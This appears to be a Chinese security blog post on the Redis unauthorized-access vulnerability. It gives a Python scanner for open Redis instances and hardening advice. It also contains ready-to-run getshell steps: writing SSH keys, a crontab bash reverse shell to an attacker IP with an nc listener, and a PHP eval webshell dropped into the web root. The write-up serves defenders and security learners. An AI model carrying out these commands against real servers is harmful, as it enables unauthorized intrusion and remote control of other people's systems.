点击上方蓝字关注我们 知识干货及时送达
漏洞简介
redis
是一个key-value存储系统。和Memcached类似,它支持存储的value类型相对更多,包括string(字符串)、list(链表)、set(集合)、zset(sorted set --有序集合)和hash(哈希类型)。这些数据类型都支持push/pop
、add/remove
及取交集并集和差集及更丰富的操作,而且这些操作都是原子性的。在此基础上,redis支持各种不同方式的排序。与memcached一样,为了保证效率,数据都是缓存在内存中。区别的是redis会周期性的把更新的数据写入磁盘或者把修改操作写入追加的记录文件,并且在此基础上实现了master-slave(主从)
同步。
如果 Redis 服务器没有正确设置密码保护,任何人都可以在未经授权的情况下访问它。这可能会导致数据泄漏、损坏或直接被篡改,服务器勒索加密等等,会对日常业务造成恶劣的影响。
具体来说,未授权访问漏洞会造成以下危害:
-
获取敏感信息:攻击者可以读取存储在 Redis 中的敏感信息,例如用户凭证,数据库配置文件等。
-
修改数据:攻击者可以修改存储在 Redis 中的数据,例如用户凭证,数据库配置文件等。
-
远程代码执行:通过利用 Redis 的特殊命令,攻击者可以在服务器上执行任意代码。
-
拒绝服务:攻击者可以通过填满 Redis 数据库的方式对服务器进行拒绝服务攻击(DDoS)。
对于远程代码执行,攻击者可能可以获得服务器上的 shell,并对其进行操作。因此,防范 Redis 未授权访问漏洞非常重要。
造成未授权访问有两种情况:
-
未开启登录验证,并且把IP绑定到0.0.0.0
-
未开启登录验证,没有设置绑定IP,
protected-mode
关闭
漏洞检测
python脚本工具
下面是一个简单的 Python脚本,该代码使用 redis-py
库批量检测 Redis 未授权访问漏洞:
# redis_checker.py
import redis
import sys
def check_redis(host, port):
try:
redis_conn = redis.StrictRedis(host=host, port=port, db=0, socket_timeout=2)
redis_info = redis_conn.info()
if redis_info:
print(f"[+] {host}:{port} 存在redis未授权漏洞")
except redis.exceptions.AuthenticationError as e:
print(f"[-] {host}:{port} 需要登录验证")
except:
print(f"[-] {host}:{port} 不是redis服务")
def main(argv):
if len(argv) < 2:
print("Usage: python redis_checker.py <hosts_file>")
sys.exit()
with open(argv[1], "r") as f:
lines = f.readlines()
for line in lines:
host, port = line.strip().split(":")
check_redis(host, int(port))
if __name__ == "__main__":
main(sys.argv)
使用方法
-
安装
redis-py
库:pip install redis
-
创建一个包含要检测的主机地址和端口的文件,每行一个。例如:
192.168.1.1:6379
192.168.1.2:6379
192.168.1.3:6379
-
使用以下命令运行脚本:
python redis_checker.py <hosts_file>
利用redis未授权获取shell
01
写SSH-keygen公钥后通过私钥进行ssh登录
原理
SSH提供两种登录验证方式,一种是口令验证也就是账号密码登录,另一种是密钥验证。
所谓密钥验证,其实就是一种基于公钥密码的认证,要求提供相匹配的密钥信息才能通过验证。通常先在客户端中创建一对密钥文件(公钥、私钥),然后将公钥文件放到服务器中的指定位置。远程登录时,系统将使用公钥、私钥进行加密/解密关联验证。能增强安全性,且可以免交互登录。大体过程如下:
利用条件
1. redis对外开放,且是未授权访问状态
2. redis服务ssh对外开放,可以通过key登入
利用过程
-
在攻击机上通过
ssh-keygen -t rsa
命令生成公私钥 -
未授权访问redis
-
利用redis的数据备份功能修改备份目录为 /redis/.ssh/ 备份文件名为 authorized_keys
-
利用redis将ssh公钥写入服务器并保存
-
通过私钥连接ssh服务成功,此时获得服务器root权限
02
利用计划任务crontab反弹shell
原理
/var/spool/cron/目录下存放的为以各个用户命名的计划任务文件,root用户可以修改任意用户的计划任务。dbfilename设置为root为用root用户权限执行计划任务,当计划任务执行时,shell就被反弹出来了。
利用条件
redis服务是root权限用户启动
利用过程
注:crontab反弹shell,debian,ubuntu系统都不行,因为他们对计划任务的格式很严格,必须要执行 crontab -u root /var/spool/cron/crontabs/root
通过语法检查后,才能执行计划任务。
连接redis,写入反弹shell的计划任务。
192.168.101.46:6379> set shell "nn*/1 * * * * /bin/bash -i>&/dev/tcp/192.168.101.47/2333 0>&1nn"
OK
192.168.101.46:6379> config set dir /var/spool/cron/
OK
192.168.101.46:6379> config set dbfilename root
OK
192.168.101.46:6379> save
开始监听2333端口,等待redis服务的把shell返回给攻击机,这个过程需要1到2分钟的时间。
nc -lvnp 2333
03
直接写入webshell文件
利用条件
-
已知web的绝对路径
-
redis具有读写权限
web的绝对路径可以通过报错回显,phpinfo利用等方式获取,也可以尝试apache的默认路径:/var/www/html/
利用过程
-
把webshell写入到网站的根目录下(/var/www/html/)
ubuntu@localhost:/$ redis-cli -h 192.168.1.154
192.168.1.154:6379> config set dir /var/www/html
OK
192.168.1.154:6379> config set dbfilename webshell.php
OK
192.168.1.154:6379> set webshell "nnn<?php@eval($_POST['c']);?>nnn"
OK
192.168.1.154:6379> save
OK
注:save返回ERR的话,是Redis没有读写权限的问题
-
再通过蚁剑/菜刀等方式连接webshell
漏洞防护方法
到redis安装目录下,配置redis.conf文件:
-
限制网络访问:不要将 Redis 服务器对外开放,尽可能将其限制在内部网络中。
-
设置密码:在 Redis 配置文件中设置密码,并确保使用安全的密码。
-
定期审计:定期审计 Redis 服务器的日志和配置,以确保它处于安全状态。
-
升级软件:及时升级 Redis 到最新版本,以修复已知漏洞。
-
使用防火墙:在网络层面使用防火墙保护 Redis 服务器,以防止未经授权的访问。
-
加密通信:使用加密技术(如 SSL/TLS)加密 Redis 通信,以防止数据泄漏。
-
数据备份:定期备份 Redis 数据,以防止因攻击、灾难等原因造成的数据丢失。
-
低权限运行:使用非管理员权限的低权限用户运行 Redis 服务
-
修改默认端口:在需要对外开放的时候修改默认端口
总结
如何利用redis未授权下进行getshell?
-
利用SSH-keygen登录服务器,需要ssh服务开启密钥验证
-
创建计划任务反弹,需要redis为root权限开启
-
写入webshell,需要知道web路径
实战在生产环境下用还会有哪些问题?
-
redis数据量稍微大一点,写shell到文件之后,php会因为文件太大拒绝执行
-
Ubuntu,Debian系统无法使用写计划任务的方式反弹shell
-
写/etc/passwd会覆盖原有/etc/passwd,不可能改了再改回来
原文始发于微信公众号(希石安全团队):【漏洞浅谈】redis未授权访问漏洞如何getShell?
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论